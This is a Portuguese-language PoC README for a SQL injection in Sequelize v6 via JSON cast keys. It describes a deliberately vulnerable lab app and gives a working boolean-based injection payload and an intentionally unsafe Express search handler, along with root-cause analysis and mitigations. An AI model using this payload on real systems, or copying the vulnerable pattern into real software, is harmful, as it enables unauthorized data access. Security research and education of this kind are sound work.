
CVE-2026-30951 — Updated!
Injeção SQL via Cast JSON no Sequelize
CVE-2026-30951 Sequelize JSON Cast SQL Injection
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
Visão Geral
CVE-2026-30951 é uma vulnerabilidade de SQL Injection no Sequelize v6, um ORM Node.js amplamente utilizado.
A vulnerabilidade existe no processamento de cláusulas
wherede JSON/JSONB. Quando o Sequelize analisa uma chave de caminho JSON contendo::, o valor após::é tratado como um tipo de cast SQL e é inserido no SQL gerado sem a validação adequada.Se um atacante puder controlar chaves de objetos JSON passadas para uma cláusula
wheredo Sequelize, ele poderá manipular a consulta SQL gerada.
Versões Afetadas
| Categoria | Versão |
|---|---|
| Vulnerável | Sequelize v6.x <= 6.37.7 |
| Corrigida | Sequelize 6.37.8 |
| Não afetada | Sequelize v7 / @sequelize/core |
Impacto
- SQL injection por meio de chaves de objetos JSON controladas pelo atacante
- Bypass de filtro de busca por meio de injeção baseada em booleano
- Manipulação não intencional de condições de consulta dentro do SQL gerado pelo ORM
Ambiente
Este repositório contém uma aplicação de desafio mínima vulnerável em Node.js, Express, Sequelize e SQLite.
Execução Local
npm install
npm start
A aplicação inicia em:
http://127.0.0.1:9100
Docker
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
O contêiner Docker inicia em:
http://127.0.0.1:9100
PoC
Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir a injeção.
Passo 1. Envie uma requisição de busca normal
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Isso retorna apenas os usuários que correspondem à lógica normal de busca por nome.
Passo 2. Acione uma SQL injection baseada em booleano
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Resultado esperado:
All user rows are returned.
Passo 3. Confirme que a SQL injection ocorreu
A chave JSON elaborada faz com que o Sequelize gere uma expressão de cast semelhante a:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Como o tipo de cast é controlado pelo atacante, a condição OR 1=1 altera o comportamento pretendido da cláusula WHERE. O retorno de todas as linhas do mesmo endpoint de busca confirma que a SQL injection é possível.
Análise
Causa Raiz Técnica
A vulnerabilidade é causada por validação insuficiente de tipos de cast JSON no Sequelize v6.
Internamente, a lógica de travessia de JSON do Sequelize divide chaves de caminho JSON em :::
jsonKey::castType
O tipo de cast é então usado no SQL gerado como:
CAST(<json_extract_expression> AS <cast_type>)
Em versões vulneráveis, <cast_type> não é escapado com segurança nem restrito a uma allowlist conhecida como segura. Isso permite que uma chave JSON controlada pelo atacante escape da expressão de cast e injete SQL.
Padrão Perigoso
Qualquer padrão de aplicação semelhante ao seguinte pode ser vulnerável ao usar versões afetadas do Sequelize:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Isso é perigoso porque o atacante controla não apenas os valores JSON, mas também as chaves dos objetos JSON.
Por Que Isso Importa
Esta vulnerabilidade é especialmente perigosa porque muitos desenvolvedores assumem que os construtores de consulta de ORM protegem automaticamente contra SQL injection. Neste caso, a injeção ocorre dentro do SQL gerado pelo ORM, depois que a aplicação já passou objetos JavaScript estruturados para o Sequelize.
Dependendo da lógica da aplicação, a exploração pode permitir:
- contornar filtros de busca pretendidos
- alterar condições booleanas de consulta
- mudar o comportamento do SQL gerado pelo ORM
Isso é fundamentalmente uma questão de CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Cenário
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
Mitigação
- Atualize o Sequelize para 6.37.8 ou posterior
- Não passe objetos controlados pelo usuário diretamente para cláusulas
wherede JSON/JSONB do Sequelize - Rejeite ou normalize chaves JSON controladas pelo usuário antes de construir filtros de ORM
- Use construção de filtros baseada em whitelist em vez de aceitar objetos arbitrários do corpo da requisição
- Rejeite chaves JSON contendo sintaxe de controle SQL ou separadores de cast como
::, a menos que explicitamente necessário - Prefira campos de consulta definidos no servidor, por exemplo:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Aviso Legal
Este repositório destina-se apenas a pesquisa de segurança, validação defensiva e uso educacional em ambientes controlados.
Não use este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.
EQST Insight
Publicamos análises de CVE e malware uma vez por mês. Se você tiver interesse, siga os links abaixo para conferir nossas publicações.
- https://www.skshieldus.com/security-insights/reports?tab=eqst
- https://www.skshieldus.com/en/report?tab=eqst